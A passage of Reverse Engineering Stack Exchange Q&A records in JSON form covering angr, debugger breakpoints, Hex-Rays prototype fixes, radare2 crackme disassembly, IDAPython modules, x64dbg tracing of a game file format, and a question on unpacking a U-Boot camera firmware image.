node\n</code></pre>\n\n<p>Any help would be greatly appreciated.</p>\n",
        "Title": "Angr - Solve for function return value",
        "Tags": "|angr|",
        "Answer": "<p>Ok, I've figured it out. </p>\n\n<p>First of all, the <code>run</code> command should be used. This will run for all paths. </p>\n\n<p>After the run the value of <code>eax</code> will actually contain two possible values (one for <code>eax == 0</code>, and another for <code>eax == 1</code>. The solver needs to be told to solve <code>arg</code> where <code>eax == 1</code>.</p>\n\n<p>This script will give the correct output:</p>\n\n<pre><code>import angr\nimport claripy\n\ndef main():\n    p = angr.Project('angr_test')\n    arg = claripy.BVS('arg', 3*8)\n\n    st = p.factory.entry_state(args=[p.filename, arg])\n    sm = p.factory.simulation_manager(st)\n\n    sm.run()\n\n    sm.deadended[0].solver.add(sm.deadended[0].regs.eax == 1)\n\n    print(sm.deadended[0].solver.eval(arg, cast_to=bytes))\n\nif __name__ == \"__main__\":\n    main()\n</code></pre>\n"
    },
    {
        "Id": "20590",
        "CreationDate": "2019-02-10T20:18:59.290",
        "Body": "<p>Is it possible to generate a software breakpoint other than <code>int3</code> to be catched by the debugger, like a division by zero for example?</p>\n\n<p>If so, I was wondering why debuggers don't support generating different exceptions for software breakpoints? For programs that have anti-debugging mechanisms like scanning for unknown <code>0xCC</code>.</p>\n\n<p>Are there any reasons for this? because all debuggers I've seen so far implement only <code>int3</code> software breakpoints.</p>\n",
        "Title": "Generate software breakpoint other than int3",
        "Tags": "|debuggers|breakpoint|seh|",
        "Answer": "<h3>A more flexible solution using x64dbg</h3>\n<p>In addition to ollydbg2's built-in experimental support, it's relatively easy to achieve something similar in x64dbg, although some manual scripting is required. Using x64dbg's <a href=\"https://x64dbg.readthedocs.io/en/latest/commands/breakpoint-control/SetExceptionBPX.html\" rel=\"nofollow noreferrer\">SetExceptionBPX</a> function, you can define any exception to be treated as a breakpoint by x64dbg instead of being treated by regular exception handling logic. You will then need to create your own &quot;breakpoint&quot; handling logic (create &amp; delete breakpoint) by modifying code at desired addresses to trigger that exception and restore it afterwards.</p>\n<h3>Answering the broader question</h3>\n<p>Additionally, you've asked</p>\n<blockquote>\n<p>why debuggers don't support generating different exceptions for software breakpoints? For programs that have anti-debugging mechanisms like scanning for unknown <code>0xCC</code>.</p>\n</blockquote>\n<p>so I'll go ahead and answer the broader question.</p>\n<p>Although you accurately noted debuggers default to use the <code>int3</code> instruction for breakpoints, that is definitely not the only one. Several debuggers (especially those geared towards malware analysis and combating anti-debugging) have started implementing additional software breakpoint methods precisely for that reason. debuggers such as ollydbg and x64dbg implement multiple breakpoint types both for different debugging functionality (i.e. memory/data breakpoints) and for stealth (such as less common tricks to trigger an interrupt that the debugger may catch).</p>\n<p>For most of the more common debugging tasks, these are just unnecessary for the majority of debugger use cases, therefore many debuggers are never required to use any alternative exception triggering instructions. The user base for say, gdb, is mostly software developers that never encounter the need for such features.</p>\n<h3>Why division by zero is a suboptimal choice regardless</h3>\n<p>Lastly, you've asked specifically about a division by zero exception being used as a software breakpoint alternative, so I'll include a few drawbacks for using division by zero specifically.</p>\n<blockquote>\n<p>Is it possible to generate a software breakpoint other than int3 to be catched by the debugger, like a division by zero for example?</p>\n</blockquote>\n<p>That one, specifically, is more known but is a suboptimal choice compared to alternatives. It's avoided even by debuggers providing many software breakpoint alternatives because it is a more difficult exception to generate and cleanup compared to single byte instructions such as <code>int3</code>, <code>int1</code>, <code>outsb</code>, etc.</p>\n<p>As the <code>div</code> instruction requires either a register or a memory address and cannot accept an immediate value for the divisor, you're required to prepare a register or memory address with the value zero, as well as generate a longer instruction which may be a little riskier if overwriting multiple instructions of the original code. For those reasons, division by zero is far less convinenet to use as a software breakpoint alternative.</p>\n"
    },
    {
        "Id": "20591",
        "CreationDate": "2019-02-10T21:48:33.627",
        "Body": "<p><strong>Update:</strong></p>\n\n<p>The problem turned out to be more complex and complex because Hex-Rays incorrectly restores the stack after calls of <code>stdcall</code> functions from <code>cdecl</code> functions:</p>\n\n<pre><code>.text:00403F2F 074                 mov     edx, gameScreenHeight\n.text:00403F35 074                 mov     ecx, [eax]\n.text:00403F37 **074**             push    10h\n.text:00403F39 078                 push    edx\n.text:00403F3A 07C                 mov     edx, gameScreenWidth\n.text:00403F40 07C                 push    edx\n.text:00403F41 080                 push    eax\n.text:00403F42 084                 mov     eax, [ecx+54h]\n.text:00403F45 084                 call    eax\n.text:00403F47 **070**             test    eax, eax\n.text:00403F49 070                 jz      short loc_4\n</code></pre>\n\n<p>As a result, a function that takes 4 arguments gets only three:</p>\n\n<p><strong><em>Bad:</em></strong> <code>lpDD-&gt;lpVtbl-&gt;SetDisplayMode(lpDD, gameScreenWidth, gameScreenHeight, 16, **a1**)</code></p>\n\n<p><strong><em>Good:</em></strong> <code>lpDD-&gt;lpVtbl-&gt;SetDisplayMode(lpDD, gameScreenWidth, gameScreenHeight, 16)</code></p>\n\n<p>As a result, the function may not use the register value, but only save and restore it, but due to the shifted pointer to the stack after the call, it is considered to be used in some problem call. This causes the entire call chain to be marked as using this register as an argument.</p>\n\n<p>Worst of all, such a problem arises in branched functions, which have several exit points and in each of them the stack is balanced (000). I can't just change the stack pointer after an erroneous call. I must also find another call and balance the changes made. x.x</p>\n\n<hr>\n\n<p><strong>The original question:</strong>\nI need to detect and safely fix incorrectly recognized function signatures. How I can do that?</p>\n\n<p><strong>For example, this function saves game settings:</strong></p>\n\n<pre><code>BOOL __thiscall sub_410640(HKEY this)\n{\n  HKEY v1; // ecx\n  HKEY v2; // ecx\n\n  sub_431C00(this, \"volumeMaster\", *(_DWORD *)&amp;phkResult);\n  sub_431C00(*(HKEY *)&amp;g_volumeMusic, \"volumeMusic\", *(_DWORD *)&amp;g_volumeMusic);\n  sub_431C00(v1, \"volumeFX\", *(_DWORD *)&amp;g_volumeFX);\n  sub_431C00(v2, \"volumeSpeech\", *(_DWORD *)&amp;g_volumeSpeech);\n  return sub_431C00(*(HKEY *)&amp;dword_4A262C, \"volumeMinimum\", *(_DWORD *)&amp;dword_4A262C);\n}\n\n.text:00410640     sub_410640      proc near               ; CODE XREF: PlayVideo+50\u2191p\n.text:00410640                                             ; sub_416910+1A6\u2193p\n.text:00410640 000                 mov     eax, phkResult\n.text:00410645 000                 push    eax             ; Data\n.text:00410646 004                 push    offset ValueName ; \"volumeMaster\"\n.text:0041064B 008                 call    sub_431C00\n\n.text:00410650 008                 mov     ecx, g_volumeMusic\n.text:00410656 008                 push    ecx             ; Data\n.text:00410657 00C                 push    offset aVolumemusic ; \"volumeMusic\"\n.text:0041065C 010                 call    sub_431C00\n\n.text:00410661 010                 mov     edx, g_volumeFX\n.text:00410667 010                 push    edx             ; Data\n.text:00410668 014                 push    offset aVolumefx ; \"volumeFX\"\n.text:0041066D 018                 call    sub_431C00\n\n.text:00410672 018                 mov     eax, g_volumeSpeech\n.text:00410677 018                 push    eax             ; Data\n.text:00410678 01C                 push    offset aVolumespeech ; \"volumeSpeech\"\n.text:0041067D 020                 call    sub_431C00\n\n.text:00410682 020                 mov     ecx, dword_4A262C\n.text:00410688 020                 push    ecx             ; Data\n.text:00410689 024                 push    offset aVolumeminimum ; \"volumeMinimum\"\n.text:0041068E 028                 call    sub_431C00\n\n.text:00410693 028                 add     esp, 28h\n.text:00410696 000                 retn\n.text:00410696     sub_410640      endp\n</code></pre>\n\n<p><strong>If we look at the function inside, we can see that the arguments passed through the registers are not used in any way.</strong></p>\n\n<p>In addition, it is obvious that calls to the same function should be uniform and the transfer of such arguments does not make any sense.</p>\n\n<pre><code>BOOL __usercall sub_431C00@&lt;eax&gt;(HKEY a1@&lt;ecx&gt;, LPCSTR lpValueName, ...)\n{\n  LONG v3; // esi\n  HKEY phkResult; // [esp+0h] [ebp-4h]\n  va_list Data; // [esp+Ch] [ebp+8h]\n\n  va_start(Data, lpValueName);\n  phkResult = a1;\n  if ( RegOpenKeyExA(HKEY_LOCAL_MACHINE, SubKey, 0, 1u, &amp;phkResult) )\n    return 0;\n  v3 = RegSetValueExA(phkResult, lpValueName, 0, 4u, (const BYTE *)Data, 4u);\n  RegCloseKey(phkResult);\n  return v3 == 0;\n}\n\n.text:00410600     sub_410600      proc near               ; CODE XREF: sub_4073F0+2B0\u2191p\n.text:00410600                                             ; WinMain(x,x,x,x)+5F4\u2193p ...\n.text:00410600\n.text:00410600     arg_0           = dword ptr  4\n.text:00410600\n.text:00410600 000                 mov     eax, [esp+arg_0]\n.text:00410604 000                 test    eax, eax\n.text:00410606 000                 mov     ecx, 1\n.text:0041060B 000                 mov     dword_4AE978, ecx\n.text:00410611 000                 mov     dword_4AF074, eax\n.text:00410616 000                 jz      short locret_410632\n.text:00410618 000                 mov     dword_4A267C, 69h\n.text:00410622 000                 mov     dword_4AE920, 0\n.text:0041062C 000                 mov     dword_4AF03C, ecx\n.text:00410632\n.text:00410632     locret_410632:                          ; CODE XREF: sub_410600+16\u2191j\n.text:00410632 000                 retn\n.text:00410632     sub_410600      endp\n</code></pre>\n\n<p><strong>And now I need to adjust the declaration of these functions so that it corresponds to reality.</strong></p>\n\n<p><strong>But two questions arise:</strong></p>\n\n<ol>\n<li>How to understand what the problem is?</li>\n<li>How to make corrections safely so that one error in one function does not lead to unbalance of the stack and decompilation errors throughout the entire application database?</li>\n</ol>\n\n<p><strong>Expected result:</strong></p>\n\n<pre><code>BOOL __usercall sub_431C00(LPCSTR lpValueName, _DWORD value);\n\nsub_431C00(\"volumeMaster\", *(_DWORD *)&amp;phkResult);\nsub_431C00(\"volumeMusic\", *(_DWORD *)&amp;g_volumeMusic);\nsub_431C00(\"volumeFX\", *(_DWORD *)&amp;g_volumeFX);\nsub_431C00(\"volumeSpeech\", *(_DWORD *)&amp;g_volumeSpeech);\n</code></pre>\n\n<p><a href=\"https://yadi.sk/d/7g4XYi3_uwgA1g\" rel=\"nofollow noreferrer\">Link to this PE File</a></p>\n\n<p><strong>Oh yeah, the funny thing is that in this case IDA correctly defines the function signature, but for some reason Hex-Rays blows the roof off:</strong></p>\n\n<p><strong>IDA:</strong> <code>int __cdecl sub_431C00(LPCSTR lpValueName, BYTE Data)</code></p>\n\n<p><strong>Hex-Rays:</strong> <code>BOOL __usercall sub_431C00@&lt;eax&gt;(HKEY a1@&lt;ecx&gt;, LPCSTR lpValueName, ...)</code></p>\n",
        "Title": "IDA Hex-Rays: How to SAFELY fix incorrect function declarations?",
        "Tags": "|ida|hexrays|calling-conventions|stack-variables|",
        "Answer": "<p>The decompiler decided that <code>ecx</code> is used by <code>sub_431C00</code> because of <code>push    ecx</code> at the beginning of the function which fills the stack slot later used by the variable <code>phkResult</code>, so it may look as if the initial value of <code>phkResult</code> is taken from <code>ecx</code>:</p>\n\n<pre><code>.text:00431C00                 push    ecx\n.text:00431C01                 lea     eax, [esp+4+phkResult]\n.text:00431C04                 push    eax             ; phkResult\n.text:00431C05                 push    1               ; samDesired\n.text:00431C07                 push    0               ; ulOptions\n.text:00431C09                 push    offset SubKey   ; \"SOFTWARE\\\\Valkyrie Studios\\\\Septerra Co\"...\n.text:00431C0E                 push    80000002h       ; hKey\n.text:00431C13                 call    ds:RegOpenKeyExA\n.text:00431C19                 test    eax, eax\n.text:00431C1B                 jz      short loc_431C21\n.text:00431C1D                 xor     eax, eax\n.text:00431C1F                 pop     ecx\n.text:00431C20                 retn\n</code></pre>\n\n<p>In fact, this <code>push ecx</code> is just a shorter versions of <code>sub esp, -4</code> - the value of <code>ecx</code> does not need to be preserved across function calls so this push is used to reserve 4 bytes of the stack for the <code>phkResult</code> variable. Unfortunately, it is pretty difficult for an automatic algorithm to differentiate between genuine pushes to save registers or pass arguments to function calls and dummy ones to manipulate the stack. If you decided that the ecx usage is false positive, just fix the function prototype (<kbd>Y</kbd> key) and remove the unnecessary argument:</p>\n\n<pre><code>int __cdecl sub_431C00(LPCSTR lpValueName, DWORD Data)\n{\n  LSTATUS v3; // esi\n  HKEY phkResult; // [esp+0h] [ebp-4h]\n\n  if ( RegOpenKeyExA(HKEY_LOCAL_MACHINE, \"SOFTWARE\\\\Valkyrie Studios\\\\Septerra Core\", 0, 1u, &amp;phkResult) )\n    return 0;\n  v3 = RegSetValueExA(phkResult, lpValueName, 0, REG_DWORD, (const BYTE *)&amp;Data, 4u);\n  RegCloseKey(phkResult);\n  return v3 == 0;\n}\n</code></pre>\n\n<p>And now the parent sub has nice decompilation too:</p>\n\n<pre><code>int sub_410640()\n{\n  sub_431C00(\"volumeMaster\", g_volumeMaster);\n  sub_431C00(\"volumeMusic\", g_volumeMusic);\n  sub_431C00(\"volumeFX\", g_volumeFX);\n  sub_431C00(\"volumeSpeech\", g_gvolumeSpeech);\n  return sub_431C00(\"volumeMinimum\", g_volumeMinimum);\n}\n</code></pre>\n\n<p>So, to summarize:</p>\n\n<ol>\n<li>The problem is caused by compiler optimization confusing the decompiler into deciding that the register value is used while it's just a dummy filler. </li>\n<li>There is no one true solution that always works, you'll need to experiment and be prepared to roll back and try again. With experience it will become easier.</li>\n</ol>\n\n<p>P.S. IDA did not add <code>ecx</code> to the function prototype because it only analyzes stack arguments. The decompiler does dataflow analysis so it can recover register arguments too, but sometimes it can result in false positives, like here.</p>\n"
    },
    {
        "Id": "20593",
        "CreationDate": "2019-02-10T22:06:55.417",
        "Body": "<p>I am new to reverse engineering and try to solve a crackme with radare2.</p>\n\n<p>My problem is understanding of the following lines: </p>\n\n<pre><code>|           0x000007a9      c745b8000000.  mov dword [var_48h], 0\n|           0x000007b0      c745bc000000.  mov dword [var_44h], 0\n|           0x000007cd      8b45b8         mov eax, dword [var_48h]\n|           0x000007d0      4898           cdqe\n|           0x000007d2      0fb64405c0     movzx eax, byte [rbp + rax - 0x40]\n</code></pre>\n\n<p>From the bottom part of this code surrounding them:</p>\n\n<pre><code>|           0x0000076a      55             push rbp\n|           0x0000076b      4889e5         mov rbp, rsp\n|           0x0000076e      4883ec50       sub rsp, 0x50               \n|           0x00000772      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=0x19c0 ; '('\n|           0x0000077b      488945f8       mov qword [canary], rax\n|           0x0000077f      31c0           xor eax, eax\n|           0x00000781      c645b700       mov byte [var_49h], 0\n|           0x00000785      488d3d580100.  lea rdi, qword str.Enter_password: ; 0x8e4 ; \"Enter password:\" ; const char *s\n|           0x0000078c      e87ffeffff     call sym.imp.puts           ; int puts(const char *s)\n|           0x00000791      488d45c0       lea rax, qword [var_40h]\n|           0x00000795      4889c6         mov rsi, rax\n|           0x00000798      488d3d550100.  lea rdi, qword [0x000008f4] ; \"%s\" ; const char *format\n|           0x0000079f      b800000000     mov eax, 0\n|           0x000007a4      e897feffff     call sym.imp.__isoc99_scanf ; String! ; int scanf(const char *format)\n|           0x000007a9      c745b8000000.  mov dword [var_48h], 0\n|           0x000007b0      c745bc000000.  mov dword [var_44h], 0\n|           0x000007cd      8b45b8         mov eax, dword [var_48h]\n|           0x000007d0      4898           cdqe\n|           0x000007d2      0fb64405c0     movzx eax, byte [rbp + rax - 0x40]\n|           0x000007d7      84c0           test al, al\n</code></pre>\n\n<p>I understand the output and that there is the input wanted (<code>scanf</code>). After that <code>var_48h</code>, <code>var_44h</code> and <code>eax</code> are set to 0. The next lines i don't understand at all. Beside the <code>cdqe</code> instruction there is some calculation(?) with the variables <code>rbp</code> and <code>rax</code> (=<code>var_49h</code>?).</p>\n\n<p>Maybe you can help me to understand that?</p>\n\n<p>Thank you in advance!</p>\n",
        "Title": "Calculation with not defined variables?",
        "Tags": "|disassembly|assembly|binary-analysis|",
        "Answer": "<p>Lets take a look at the specific piece of code you can't understand:</p>\n\n<pre><code>mov dword [var_48h], 0\nmov dword [var_44h], 0\nmov eax, dword [var_48h]\ncdqe\nmovzx eax, byte [rbp + rax - 0x40]\n</code></pre>\n\n<p>And go over it a few lines at a time.</p>\n\n<p>The first couple of lines are either initializing a local variable of size qword (8 bytes) to 0 by assigning one dword at a time, or two dword-sized variables, each of which to zero:</p>\n\n<pre><code>mov dword [var_48h], 0\nmov dword [var_44h], 0\n</code></pre>\n\n<p>Converting this to C, this may look similar to:</p>\n\n<pre><code>long var_ab = 0;\n</code></pre>\n\n<p>or</p>\n\n<pre><code>int var_a, var_b = 0;\n</code></pre>\n\n<p>The third line is a little puzzling assuming the above assignment is to a single qword variable:</p>\n\n<pre><code>mov eax, dword [var_48h]\n</code></pre>\n\n<p>Regardless, this does not translate to an actual C statement, but suggests the  variable (either as <code>var_ab</code> or <code>var_b</code> will be used in following statements. </p>\n\n<p>Taking a look at the following two lines makes it all clearer:</p>\n\n<pre><code>cdqe\nmovzx eax, byte [rbp + rax - 0x40]\n</code></pre>\n\n<p>The first of the two, <a href=\"https://www.felixcloutier.com/x86/cbw:cwde:cdqe\" rel=\"nofollow noreferrer\"><code>cdqe</code></a> simply sign-extends <code>eax</code> into <code>rax</code>, effectively setting the higher half of <code>rdx</code> to zero too. the second line of the last snippet makes doing so clear, after we consider the limitations of the x86 assembly language.</p>\n\n<p>Since <code>eax</code> is used as an index for a stack variable, it is required to be sign-extended to <code>rax</code> because of assembly limitations. executing <code>byte [</code><strong><code>r</code></strong><code>bp +</code><strong><code>e</code></strong><code>ax - 0x40]</code> is impossible in x86 64bit assembly, as all registers in offset calculations are required to be of the same length.</p>\n\n<p>This makes it clear that the variables are indeed two dword variables, and <code>eax</code> is sign extended solely to be used in the following <code>mov</code> instruction.</p>\n\n<p>The assembly code above, then, is probably the result of the following C code:</p>\n\n<pre><code>char buf[...];\ndword idx = 0;\nif (buf[idx] == 0) {\n    ...\n}\n</code></pre>\n"
    },
    {
        "Id": "20599",
        "CreationDate": "2019-02-11T13:32:37.590",
        "Body": "<p>I've recently started writing a few IDAPython plugins or scripts instead of using the native SDK, but I think I did not really figure out which module(s) are recommended to be imported. Typically, my script imports look somehow like this:</p>\n\n<pre><code>import ida_funcs\nimport ida_kernwin\nimport ida_lines\nimport ida_nalt\nimport ida_name\nimport ida_segment\nimport ida_struct\nimport idaapi\nimport idautils\nimport idc\nfrom ida_bytes import *\nfrom PyQt5 import QtCore, QtGui, QtWidgets\n</code></pre>\n\n<p>I've only just now realized that the <code>idaapi</code> module imports all the single modules. For example, I can define an action handler as</p>\n\n<pre><code>class MyHandler(ida_kernwin.action_handler_t):\n</code></pre>\n\n<p>but also as</p>\n\n<pre><code>class MyHandler(idaapi.action_handler_t):\n</code></pre>\n\n<p>So far, I was always trying to find the module the members originate from, and replace <code>idaapi</code> with the original module name where possible. But then I found <code>BADADDR</code> to originate from an <code>ida_idaapi</code> module, and the name feels so ridiculous, I wondered if I've been doing the right thing all along. The <a href=\"https://github.com/idapython/src/blob/master/python/idaapi.py\" rel=\"nofollow noreferrer\">source</a> and <a href=\"https://www.hex-rays.com/products/ida/support/idapython_docs/frames.html\" rel=\"nofollow noreferrer\">documentation</a> on it is quite empty.</p>\n\n<ul>\n<li>Is it recommended to use <code>idaapi</code> instead of the single modules? Why does <code>idaapi</code> exist?</li>\n</ul>\n\n<p>Then, on the other hand, there is <code>idc</code>, which seems to provide IDC like functions, even with C style name casing. If I recall correctly, I read that the usage of this module is deprecated and only meant for quickly porting IDC scripts; <a href=\"https://www.hex-rays.com/products/ida/support/idapython_docs/idc-module.html\" rel=\"nofollow noreferrer\">the documentation</a> prominently states</p>\n\n<pre><code>This file is subject to change without any notice.\nFuture versions of IDA may use other definitions.\n</code></pre>\n\n<ul>\n<li>Should I use <code>ida_*</code> / <code>idaapi</code> methods instead and, if possible, ignore <code>idc</code> completely?</li>\n</ul>\n",
        "Title": "IDAPython modules: Prefer using idaapi or ida_*, and ignore idc completely?",
        "Tags": "|ida|idapython|idapro-sdk|",
        "Answer": "<p>Short answer is that both <code>idaapi</code> and <code>idc</code> modules should be avoided if possible.</p>\n\n<p>The <code>idaapi</code> module is there for backwards compatibility and should be avoided if possible. It will be dropped in a future version of IDA (probably with little to no warning ahead of time). You should strongly prefer the <code>ida_</code> prefixed modules.</p>\n\n<p>In older versions of IDA, a single module exposed all IDA functionality (that was <code>idaapi</code>), with a few modules implementing utility functions (in <code>idautils</code>) and IDC-translations to ease migration from IDC to IDAPython (in <code>idc</code>).</p>\n\n<p>With IDA 6.95, IDA's python SDK was divided into multiple modules and <code>idaapi</code> was left to avoid breaking all existing code that relies on the <code>idaapi</code> module. </p>\n\n<p>Since the <code>idc</code> module has been part of IDA for a long while (since IDAPython started), I think it'll remain part of IDA for longer than <code>idaapi</code>, so if you have to pick whether to use <code>idc</code> or <code>idaapi</code> (and cannot use the specific <code>ida_*</code> modules, for some obscure reason), I suggest you prefer <code>idc</code> over <code>idaapi</code>.</p>\n\n<p>It's also important to note that <code>idaapi</code> has nearly no content on itself, and you'll see that nowadays <code>idaapi.py</code> is mostly composed of importing the other modules into it's namespace. This is also wrong for several reasons (accidental namespace overshadowing, longer load times by loading unnecessary code) and was part of the reason the namespace was split.</p>\n\n<p>The <code>ida_idaapi</code> module, however, is part of the new interface and should be used whenever needed. This is where general definitions that have no other reasonable module are made.</p>\n\n<p><strong>Protip</strong>: When I want to convert an <code>idaapi</code> usage to an <code>ida_*</code> usage, I simply import the object at hand and print it's <code>help</code>, which will list where is this object actually defined.</p>\n\n<p><strong>P.S.</strong>\nAlthough not really a duplicate, this is somewhat related to <a href=\"http://reverseengineering.stackexchange.com/questions/14430/how-is-idapython-api-structured\">How is IDAPython API structured?</a></p>\n"
    },
    {
        "Id": "20609",
        "CreationDate": "2019-02-12T19:40:14.050",
        "Body": "<p>If I have a program A, which uses <code>execve</code> to run program B. How can I set a breakpoint in program B's main routine if I'm debugging program A?</p>\n\n<p>After a certain point in the execve routine, program B will be loaded into memory. After that I can see the symbols in the binary and the regions of memory they have been loaded into. However, to get to that point at the moment I just step through some of the execve instructions which is very fiddly and prone to mistakes.</p>\n\n<p>Is there a simpler approach to this?</p>\n",
        "Title": "How to set a breakpoint in an execve'd program in radare2?",
        "Tags": "|debugging|x86|radare2|executable|",
        "Answer": "<p>There's a debugging flag called <code>dbg.execs</code> that setting it to true should stop the execution when an <code>execv</code> is happening. So try this:</p>\n\n<pre><code>&gt; e dbg.execs = true\n</code></pre>\n\n<p>It looks like it works on Linux, but I couldn't get the same behaviour on OSX.</p>\n"
    },
    {
        "Id": "20614",
        "CreationDate": "2019-02-13T06:15:18.093",
        "Body": "<p>I am hoping someone can help me with a question or two.</p>\n\n<p>Essentially I used to be a computer programmer who always wanted to get into a bit of game hacking, having not done any serious programming for a few years I had an itch for a technical endeavour. I decided on football (soccer) manager and wanted to do two things.</p>\n\n<ol>\n<li>Decipher their file format for tactics. Essentially this has changed\nfrom tac to fmf in the last version or so </li>\n<li>When a game is being played hook into the DirectX calls to essentially record a match, or figure out the format of their saved matches which can be shown to others</li>\n</ol>\n\n<p>Now as I have no experience of DirectX I went to do number 1 first and have made good progress, but I am at the point where I need a bit of help and pointing in the right direction. Here's what I have deciphered so far with screenshots.</p>\n\n<p><strong>The start of the fmf file is written (always 02 01 61 66 65 afe) to start, so essentially the file header</strong></p>\n\n<p><a href=\"https://i.stack.imgur.com/jEIsj.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/jEIsj.png\" alt=\"start of FMF file\"></a></p>\n\n<p><strong>Then actually the old TAC format is written to disk though the user never sees it unless you breakpoint it, as it puts the tactic on the file, reads it back in and then deletes it again</strong></p>\n\n<p><a href=\"https://i.stack.imgur.com/l78ON.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/l78ON.png\" alt=\"enter image description here\"></a></p>\n\n<p><a href=\"https://i.stack.imgur.com/Vpb59.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Vpb59.png\" alt=\"enter image description here\"></a></p>\n\n<p><strong>The TAC file is read back in and a new section of the fmf is written</strong></p>\n\n<p><a href=\"https://i.stack.imgur.com/ZQZhV.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ZQZhV.png\" alt=\"enter image description here\"></a></p>\n\n<p><strong>Now this looks similar in size to the previous tac file and is written after the tac file is read back in by the application, it also seems to have section separators in the FMF file so it is its own section.</strong></p>\n\n<p><a href=\"https://i.stack.imgur.com/edtCl.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/edtCl.png\" alt=\"enter image description here\"></a></p>\n\n<p>If you look carefully you can see that this section is what was written after it read the tac file back in, now this section appears to be compressed/encrypted but I would guess that this is the tac, and you can clearly see distinct sections in the file separated by</p>\n\n<p>10 00 00 00 10 00 00 00</p>\n\n<p>So it is easy to break the file up. Now my question is, this section is the area of interest.</p>\n\n<p><a href=\"https://i.stack.imgur.com/1jfGa.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/1jfGa.png\" alt=\"enter image description here\"></a></p>\n\n<p>The actual data always seems to be around rcx+8 which points to an address with a QWORD pointer which points to the data. I tried decompiling this function and got the following:</p>\n\n<pre><code>struct s0 {\n    uint32_t f0;\n    int8_t[4] pad8;\n    uint32_t f8;\n    int8_t[4] pad16;\n    uint32_t f16;\n    uint32_t f20;\n};\n\nint32_t fun_146da5dd0();\n\n/* function-which-calls-write */\nuint32_t function_which_calls_write(int64_t rcx, uint32_t rdx, int64_t r8);\n\n/* unknown 1 */\nint64_t unknown_1(struct s0* rcx) {\n    uint32_t eax2;\n    uint32_t eax3;\n    uint32_t edi4;\n    uint32_t rsi5;\n    int64_t rax6;\n    int32_t eax7;\n    int64_t rcx8;\n    int64_t r8_9;\n    uint32_t eax10;\n    uint32_t eax11;\n\n    eax2 = rcx-&gt;f20;    \n    if ((*(uint8_t*)&amp;eax2 &amp; 3) != 2 || ((eax3 = rcx-&gt;f20, (*(uint8_t*)&amp;eax3 &amp; 0xc0) == 0) || (edi4 = rcx-&gt;f0 - rcx-&gt;f8, rcx-&gt;f16 = 0, rsi5 = rcx-&gt;f8, rcx-&gt;f0 =     rsi5, (uint1_t)((int32_t)edi4 &lt; (int32_t)0) | (uint1_t)(edi4 == 0)))) {\n        addr_0x146d9e917_2:\n        *(uint32_t*)&amp;rax6 = 0;\n        *(int32_t*)((int64_t)&amp;rax6 + 4) = 0;\n    } else {\n        eax7 = fun_146da5dd0();\n        *(int32_t*)&amp;rcx8 = eax7;\n        *(int32_t*)((int64_t)&amp;rcx8 + 4) = 0;\n        *(uint32_t*)&amp;r8_9 = edi4;\n        *(int32_t*)((int64_t)&amp;r8_9 + 4) = 0;\n        eax10 = function_which_calls_write(rcx8, rsi5, r8_9);\n        if (edi4 == eax10) {\n            eax11 = rcx-&gt;f20 &gt;&gt; 2;\n            if (*(uint8_t*)&amp;eax11 &amp; 1) {\n                rcx-&gt;f20 = rcx-&gt;f20 &amp; 0xfffffffd;\n                goto addr_0x146d9e917_2;\n            }\n        } else {\n            rcx-&gt;f20 = rcx-&gt;f20 | 16;\n            *(uint32_t*)&amp;rax6 = 0xffffffff;\n            *(int32_t*)((int64_t)&amp;rax6 + 4) = 0;\n        }\n    }\n    return rax6;\n}\n</code></pre>\n\n<p>So obvious it seems like a struct, especially with the +number on the registers.</p>\n\n<p>Another useful thing to note is that these sections in the fmf file are always different, ALWAYS, so if I make a tactic, save it, load in the tactic again (exact same one) and resave it is totally different content in between the constant separators 10 00 00 00 and the signature at the start of the file. So that leads me to believe it is some form of compression/encryption but with additional seed, such as the time added.</p>\n\n<p>My question is I have located this data in the function I showed above, but obviously, there is data loaded in before this place in the function or in a previous function in the call stack. <strong>Is there any quick way of following where this data comes from?</strong> Once I find the exact point it originates I should obviously be able to conclude that is the encryption/compression function which produces it.</p>\n\n<p>Thanks a lot.</p>\n",
        "Title": "x64dbg - Locating where data is initially written",
        "Tags": "|x64dbg|game-hacking|",
        "Answer": "<p>If you know where the data is going to be before it's written, you can set a write hardware breakpoint and it should stop whenever that memory location is populated.<br>\nOtherwise, you'll to reverse engineer where RCX comes by going up the stack frame judging by the decompiled output.</p>\n"
    },
    {
        "Id": "20632",
        "CreationDate": "2019-02-16T17:18:16.027",
        "Body": "<p>I'm trying to unpack (extract) and analyse the firmware of an IP Camera (Xiaomi mjsxj02cm).</p>\n\n<p>I have this <code>tf_recovery.img</code> that's supposedly a U-Boot image, but I can't unpack it either using <code>dumpimage</code> or other techniques because <code>mkimage -l</code> doesn't provide me with enough information.</p>\n\n<p><code>dumpimage</code> does nothing:</p>\n\n<pre><code>$ dumpimage -o out tf_recovery.img\n$ ls\ntf_recovery.img\n</code></pre>\n\n<p><code>mkimage -l</code>doesn't show any useful information:</p>\n\n<pre><code>$ mkimage -l tf_recovery.img\nGP Header: Size 27051956 LoadAddr 5799cfc3\n</code></pre>\n\n<p><code>file</code> gives some information, nothing I can use:</p>\n\n<pre><code>$ file tf_recovery.img \ntf_recovery.img: u-boot legacy uImage, MVX2##I3g60b5603KL_LX318####[BR:\\3757zXZ, Linux/ARM, OS Kernel Image (lzma), 1724412 bytes, Wed Jun  6 08:02:07 2018, Load Address: 0x20008000, Entry Point: 0x20008000, Header CRC: 0x5799CFC3, Data CRC: 0x2FF27A1D\n</code></pre>\n\n<p><strong>What I've already tried without success</strong> </p>\n\n<ol>\n<li>Multiple versions of u-boot, including the latest (v2019.04-rc1) built from source.</li>\n<li>Tried every image type explicitly, by using <code>-T</code> parameter of <code>dumpimage</code></li>\n<li>Simply extracting the image like if it was a compressed archive</li>\n<li>Searched for, to the best of my abilities, any alternative methods online</li>\n</ol>\n\n<p>I'd really appreciate if anyone can provide additional ideias on how to unpack this. Thank you!</p>\n",
        "Title": "Help unpacking U-boot firmware",
        "Tags": "|firmware|",
